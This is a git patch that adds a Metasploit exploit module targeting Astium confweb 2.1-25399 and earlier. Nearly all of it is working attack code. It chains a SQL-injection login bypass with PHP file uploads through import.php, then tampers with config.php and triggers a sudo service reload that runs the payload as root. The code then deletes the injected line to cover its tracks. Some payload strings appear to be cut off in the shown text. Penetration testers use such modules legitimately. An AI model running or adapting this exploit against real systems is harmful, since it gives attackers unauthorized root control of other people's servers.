From 82aa3f97b0909033cdaf8e945d31ab1f0073f2bd Mon Sep 17 00:00:00 2001 From: xistence Date: Tue, 17 Sep 2013 12:32:10 +0700 Subject: [PATCH] added Astium confweb 25399 RCE --- .../exploits/linux/http/astium_sqli_upload.rb | 248 ++++++++++++++++++ 1 file changed, 248 insertions(+) create mode 100644 modules/exploits/linux/http/astium_sqli_upload.rb diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb new file mode 100644 index 0000000000..f4e4639cee --- /dev/null +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -0,0 +1,248 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Astium", + 'Description' => %q{ + This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and lower. + Admin access is gained by an SQL Injection authentication bypass in the login form. + Having admin access makes it possible to upload PHP code. + This PHP code will modify the "/usr/local/astium/web/php/config.php" script and add our payload. + A "sudo /sbin/service astcfgd reload" is executed to reload the configuration with root privileges + and trigger remote code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence ' # Discovery, Metasploit module + ], + 'References' => + [ + [ 'EDB', '23831' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Astium', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Sep 17 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']), + ], self.class) + end + + def check + uri = target_uri.path + peer = "#{rhost}:#{rport}" + + # Check version + print_status("#{peer} - Trying to detect Astium") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "en", "content", "index.php") + }) + + if res and res.code == 302 and res.body =~ /direct entry from outside/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + end + + def exploit + + uri = target_uri.path + + peer = "#{rhost}:#{rport}" + + print_status("#{peer} - Retrieving cookie") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "en", "content", "index.php") + }) + + if res.code == 302 + if (res.headers['Set-Cookie'] =~ /astiumnls=([a-zA-Z0-9]+)/) + session = $1 + redirect = URI(res.headers['Location']) + print_status("#{peer} - Session cookie is [ #{session} ]") + print_status("#{peer} - Location is [ #{redirect} ]") + else + print_error("#{peer} - Session cookie not found!") + end + else + print_error("#{peer} - Server returned #{res.code.to_s}") + end + + # Follow redirection process + print_status("#{peer} - Following redirection") + res = send_request_cgi({ + 'uri' => "#{redirect}", + 'method' => 'GET', + 'cookie' => "astiumnls=#{session}" + }) + + if not res or res.code != 200 + print_error("#{peer} - Redirect failed!") + return + end + + + print_status("#{peer} - Access login page") + res = send_request_cgi({ + 'method' => 'GET', + 'cookie' => "astiumnls=#{session}", + 'uri' => normalize_uri(uri, "?js=0&ctest=1&origlink=/en/content/index.php") + }) + + if res.code == 302 + redirect = URI(res.headers['Location']) + print_status("#{peer} - Location is [ #{redirect} ]") + else + print_error("#{peer} - Server returned #{res.code.to_s}") + end + + + # Follow redirection process + print_status("#{peer} - Following redirection") + res = send_request_cgi({ + 'uri' => "#{redirect}", + 'method' => 'GET', + 'cookie' => "astiumnls=#{session}" + }) + + if not res or res.code != 200 + print_error("#{peer} - Redirect failed!") + return + end + + + # SQLi to bypass authentication + sqli="system' OR 1='1" + + post_data = "__act=submit&user_name=#{sqli}&pass_word=pwned&submit=Login" + print_status("#{peer} - Using SQLi to bypass authentication ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "/en", "logon.php"), + 'cookie' => "astiumnls=#{session}", + 'data' => post_data + }) + + + if not res or res.code != 302 + print_error("#{peer} - Login bypass was not succesful!") + return + end + + + # Random filename + payload_name = rand_text_alpha(rand(10) + 5) + '.php' + payload_name2 = rand_text_alpha(rand(10) + 5) + '.php' + + # Payload #1 - Our encoded msf payload will be uploaded + post_data = "--o0oOo0o\r\n" + post_data << "Content-Disposition: form-data; name=\"__act\"\r\n\r\n" + post_data << "submit\r\n" + post_data << "--o0oOo0o\r\n" + post_data << "Content-Disposition: file; name=\"importcompany\"; filename=\"#{payload_name}\"\r\n\r\n" + post_data << "\r\n" + post_data << "--o0oOo0o\r\n" + + # Payload #2 - This payload will add a PHP include to /usr/local/astium/web/php/config.php. + # The config.php will be reloaded because of the sudo rights to /sbin/service astcfgd reload and thus executed as root. + post_data2 = "--o0oOo0o\r\n" + post_data2 << "Content-Disposition: form-data; name=\"__act\"\r\n\r\n" + post_data2 << "submit\r\n" + post_data2 << "--o0oOo0o\r\n" + post_data2 << "Content-Disposition: file; name=\"importcompany\"; filename=\"#{payload_name2}\"\r\n\r\n" + post_data2 << "');" + post_data2 << "fclose($f);" + post_data2 << "system('sudo /sbin/service astcfgd reload');" + # Sleep 1 minute, so that we have enough time for the reload to trigger our payload + post_data2 << "sleep(60);" + post_data2 << "$lines = file('/usr/local/astium/web/php/config.php');" + # Delete last line (containing our reverse shell) of the config.php file, else the web interface won't work anymore after our exploit. + post_data2 << "array_pop($lines);" + post_data2 << "$file = join('', $lines);" + post_data2 << "$file_handle = fopen('/usr/local/astium/web/php/config.php', 'w');" + post_data2 << "fputs($file_handle, $file);" + post_data2 << "fclose($file_handle);" + post_data2 << " ?>\r\n" + post_data2 << "--o0oOo0o\r\n" + + + print_status("#{peer} - Uploading Payload #1 [ #{payload_name} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "en", "database", "import.php"), + 'ctype' => 'multipart/form-data; boundary=o0oOo0o', + 'cookie' => "astiumnls=#{session}", + 'data' => post_data + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 + print_error("#{peer} - File wasn't uploaded, aborting!") + return + end + + print_status("#{peer} - Uploading Payload #2 [ #{payload_name2} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "en", "database", "import.php"), + 'ctype' => 'multipart/form-data; boundary=o0oOo0o', + 'cookie' => "astiumnls=#{session}", + 'data' => post_data2 + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 + print_error("#{peer} - File wasn't uploaded, aborting!") + return + end + + print_status("#{peer} - Requesting Payload #2 [ #{uri}upload/#{payload_name2} ]") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "upload", "#{payload_name2}") + }) + + print_status("#{peer} - Waiting 1 minute as the reloading process may take some time") + select(nil, nil, nil, 60) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. Print the status code for debugging purposes. + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + end + + end + +end